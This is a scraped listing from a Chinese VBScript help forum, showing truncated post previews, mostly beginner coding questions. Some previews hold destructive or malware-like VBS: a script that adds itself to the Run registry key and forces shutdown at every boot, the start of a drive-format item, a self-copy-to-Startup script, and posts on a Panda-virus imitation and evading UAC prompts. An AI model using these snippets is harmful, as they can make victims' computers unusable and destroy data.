-
-
3
-
2
-
1
-
17
-
11
-
3比如我这里有八个bool,怎么在vbs中将它组合成一个字节。
-
0
-
6我想要把X按钮给禁用(或者直接去掉)可以吗
-
9
-
11一楼防吞
-
13一、Gui界面vbs类简介 通过DynamicWrapperX调用系统Api创建窗口及控件,从而使得脚本拥有可视化窗口界面,实现更好的交互体验。 如需对window控件与窗
-
21链接:https://pan.baidu.com/s/1R0uJgyS-IbmGxDOtF91WAA 提取码:1234
-
13
-
2'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\software\Microsoft\windows\CurrentVersion\Run\"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化d盘(d盘下所有文
-
4
-
9一楼防吞
-
27帮我看看哪错了
-
8
-
3纯小白想弄个windows界面的那种,用户双击以后,可以实现自动对某个服务器的ip进行ping,然后会根据这个ping延迟的平均值,来显示不同信息,比如“您当前网络状态良好”,“您当前网络状态一般” “您当前网络状态较差” 可以大神指导下么? 感谢!!!
-
6x=msgbox("111","1","123") if x=vbok then msgbox("222222") elseif x=vbcancel then msgbox("33333") dim a do until a="111" a=inputbox("321","123") if a="111"then elseif a=""then msgbox("5555") loop (运行告诉我这里却do) msgbox("4444") end if 大概意思就是 弹出文本框,答案正确 跳出循环到444 答案错误 弹窗555 然后循环
-
1
-
15一楼防吞
-
91仿熊猫烧香病毒
-
140欢迎来水!
-
2有无大佬帮我看看这个程序可以运行不 dim qobj,pipe,good delay_time = 500000 do good="." set qobj=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=qobj.execquery("select * from win32_process where name='TSLGAME.exe') for each i in pipe i.terminate() next wscript.sleep delay_time loop
-
2
-
0
-
3需求:按了方向键上键,如果键盘c键状态是被按下,则输出小键盘8;,如果c键没有被按下,则输出方向键上键。求大神
-
1也不知道vb的Command函数能用吗。
-
0比如我有一个文件1.vbs: dim x msgbox x 现在我想运行2.vbs,在2.vbs中运行1.vbs,从2.vbs里传递值给x。 2.vbs文件: set ws=createobject("wscript.shell") a=5 ws.run "1.vbs" '运行1.vbs但要将a传递给x 请问有这样的方法吗?
-
1如何VBS获取指定进程的CPU和内存使用率呢?求助
-
5有无大神帮忙写个程序? 算一算距离2020年元旦还有多少天?(结合时间函数)
-
1VBS获取管理员权限,并且一定程度上规避系统的确认授权弹窗
-
5vbs程序不是循环类那种,比如msgbox"一句话" msgbox"一句话" msgbox"一句话",这样的,为什么点击错叉了仍然会继续,怎么编写一串代码能让vbs程序点击错叉立刻关掉?求大佬帮助
-
4想用VBS打开一个程序金蝶财务软件,双击桌面的快捷方式,过一会出出现一个输入用户名和密码的对话框,查看显示路径为D:\eas7\client\bin\client.bat,
-
3#$language = "VBScript" #$interface = "1.0" crt.Screen.Synchronous = True ' This automatically generated script may
-
7源码如下: Dim a,b,area,i i=inputbox("请输入计算模式‘乘法’‘除法’‘加法’‘减法’") if i = "乘法" then a=inputbox("请输入第一个因数:") b=inputbox("请输入第二个因数:") area=a*b msgbox "积是:"&area end if if i = "除法" then a=inputbox("请输入被除数:") b=inputbox("请输入除数:") area=a/b msgbox "商是:"&area end if if i = "加法" then a=inputbox("请输入第一个加数:") b=inputbox("请输入第
-
2
-
11用WINRAR压缩工具就可以: 1、右键VBS文件,在常规选择卡中选择“压缩文件格式”为ZIP格式和“创建自解压文件”,这是文件格式是EXE; 2、选择高级选择卡,点击“自解压选项”,跳出高级自解压选项对话框,在常规选项中解压路径输入“c:\”; 3、“自解压选项”对话框中选择模式选择卡,点击下面安静模式的全部隐藏单项选择按钮; 4、“自解压选项”对话框中选择更新选择卡,在覆盖方式中选择“覆盖所有文件”; 5、点击确定返回原来窗口,
-
0求相关函数
-
0我自己尝试做了冒泡的程序,但不知道为什么只能排序10以内的数,求大神指点 我的代码: a=Split (inputbox("输入5个数, 用半角英文逗号连接"),",") if (Ubound(a)=4)=false then msgbox("请再输入一遍,注意必须包含5个数字") else for i=1 to 4 if IsNumeric(a(i))=false then msgbox("请再输入一遍,注意必须包含5个数字") for m=0 to i c=a(i) if a(i)<a(m) then for n=m to i-1 a(i+m-n)=a(i+m-n-1) next a(m)=c end if next next msgbox Join(a,",")
-
5感谢各位聚聚
-
2
-
2链接:https://pan.baidu.com/s/1FhNs3XcE1_3Dlhr5WctOeA 提取码:vbhe 攒了20.1MB的量,文件我没改文件名
-
6比方说这个:ws.run "net localgroup power users name /add" ,按正常cmd命令,power user有空格,要加引号,可现在外面已经有引号了,我单引号双引号都试
-
6set fso = createobject("scripting.filesystemobject") set ws = createobject("wscript.shell") pt = ws.specialfolders("startup") & "\" set file = fso.getfile(wscript.scriptfullname) file.copy pt set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersio